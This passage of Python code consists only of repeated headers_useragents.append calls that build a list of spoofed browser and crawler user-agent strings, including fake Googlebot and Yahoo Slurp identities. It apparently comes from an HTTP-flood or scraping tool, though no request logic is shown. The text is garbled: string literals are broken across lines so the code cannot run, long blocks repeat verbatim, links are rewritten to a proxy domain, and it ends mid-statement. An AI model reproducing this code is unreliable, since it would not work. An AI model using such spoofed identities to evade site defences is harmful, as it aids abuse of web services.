headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
